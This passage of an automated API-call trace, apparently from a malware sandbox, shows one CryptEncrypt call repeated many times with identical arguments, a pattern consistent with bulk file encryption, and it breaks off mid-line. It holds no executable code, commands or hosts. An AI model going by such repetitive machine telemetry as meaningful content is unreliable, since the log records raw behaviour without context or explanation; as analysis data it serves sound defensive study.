[0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.915] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.916] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.917] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.918] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.919] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.920] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.921] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.922] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: 